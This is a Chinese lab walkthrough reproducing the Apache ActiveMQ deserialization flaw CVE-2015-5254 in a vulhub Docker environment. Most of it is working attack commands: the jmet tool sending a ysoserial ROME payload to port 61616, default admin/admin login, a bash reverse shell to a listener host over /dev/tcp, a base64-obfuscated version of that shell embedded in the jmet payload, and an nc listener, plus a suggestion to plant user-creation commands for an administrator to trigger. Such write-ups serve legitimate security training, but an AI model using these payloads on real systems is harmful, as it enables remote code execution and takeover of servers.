【vulhub漏洞复现】ActiveMQ 反序列化漏洞 (CVE-2015-5254)-01

本文介绍Apache ActiveMQ 5.x版本中的反序列化漏洞(CVE-2015-5254),远程攻击者可通过特殊构造的Java消息服务ObjectMessage对象执行任意代码。文章详细展示了如何复现此漏洞。

一、漏洞描述

Apache ActiveMQ 是由美国阿帕奇(Apache)软件基金会开发的开源消息中间件,支持 Java 消息服务、集群、Spring 框架等。属于消息队列组件(消息队列组件:分布式系统中的重要组件,主要解决应用耦合、异步消息、流量削峰等)。

二、漏洞成因

Apache ActiveMQ 5.13.0版本之前到5.x版本的安全漏洞,该程序引起的漏洞不限制代理中可以序列化的类。远程攻击者可以制作一个特殊的序列化 Java 消息服务 (JMS) ObjectMessage 对象,利用该漏洞执行任意代码。

三、影响版本

Apache ActiveMQ 5.x ~ Apache ActiveMQ 5.13.0

四、利用限制

1).版本符合
2).立即执行代码:能够通过弱密码登录查看消息队列
3).没有查看队列所有消息的用户名和密码下,只能管理员/用户去点击我们插入的消息才能触发(比较鸡肋,但可以写入创建用户命令等待管理员点击查看,概率很大!)

五、测试环境

角色IP
目标靶机192.200.30.72
kali攻击机192.200.76.46
VPS192.200.30.166

【备注】:其实这里VPS也可以用kali,不过为了模拟真实环境,单独拉了一台VPS。毕竟很少有人专门在云上装kali。

#进入vulhub漏洞环境目录
cd /opt/vulhub-master/activemq/CVE-2015-5254/
#启用漏洞环境
docker-compose up -d

1).运行环境后,会建立61616和8161这两个端口。
在这里插入图片描述2).其中61616端口是工作端口,消息在这个端口上传递;8161端口为网页管理页面端口。访问http://192.200.30.72:8161,可以看到web管理页面,但是这个漏洞理论上不需要web。
在这里插入图片描述3).打开http://192.200.30.72:8081/admin,使用默认密码(admin/admin)登录,可以看到ActiveMQ版本是5.11.1,属于ActiveMQ 反序列化漏洞 (CVE-2015-5254)的影响版本范围。
在这里插入图片描述

六、漏洞复现

6.1 复现描述:

1.生成序列化的有效负载(可以使用 ysoserial)
2.作为一个消息,将有效负载发送到端口 61616
3.访问web管理页面并读取序列化消息,然后就可以触发这个漏洞了。

6.2复现过程:

1.通过nmap扫描目标靶机端口和服务版本信息,发现目标开放的61616端口上承载apachemq ActiveMQ服务。
在这里插入图片描述
2.首先在kali攻击机上下载jmet的jar(Java 消息利用工具)文件,然后在同目录下创建external文件夹。(否则可能会出现文件夹不存在的错误)

#下载jmet的jar包
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
#创建external目录
mkdir external

3.执行命令,将有效负载发送到目标IP的61616端口。

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.200.30.72 61616

【命令解释】:调用java -jar 运行 jmet的jar包,-Q是插入一个名为event的队列,-I 是选择装载ActiveMQ模块 ,-s 是选择ysoserial payload ,-Y 是攻击模式和内容, -Yp 是选择攻击利用链,这是选择是ROME, 之后带上IP加端口。
-Q 比如我修改event为hack 就成为插入一个名为hack的队列。
在这里插入图片描述4.这时,会给目标ActiveMQ添加一个event列,我们可以通过http://192.200.30.72:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息:
在这里插入图片描述点击查看这条消息即可触发命令执行
在这里插入图片描述在这里插入图片描述5.登录ActiveMQ容器环境,查看命令已经执行成功,/tmp/sucess文件已成功创建。

#登录容器环境
docker exec -it [容器ID] bash 

在这里插入图片描述
6.反弹shell,反弹到vps上
1).将命令替换成弹shell的语句再利用;
2).将反弹语句bese64编码;
3).vps开启端口监听。

#bash反弹命令
bash -i >& /dev/tcp/192.200.30.166/31005 0>&1

在这里插入图片描述

#bash64解码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMjAwLjMwLjE2Ni8zMTAwNSAwPiYx}|{base64,-d}|{bash,-i}
#vps上开启端口监听
nc -lvvp 31005

7.kali执行弹shell命令。

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMjAwLjMwLjE2Ni8zMTAwNSAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.200.30.72 61616

在这里插入图片描述【备注】:这里记住ID号,后面会用到。

8.返回之前的event队列,再点击触发,ID同kali最后命令执行完成后的ID一样。
在这里插入图片描述9.返回查看vps,可以看到vps的监听端口已经接受到弹回的shell了,可以执行命令。
在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值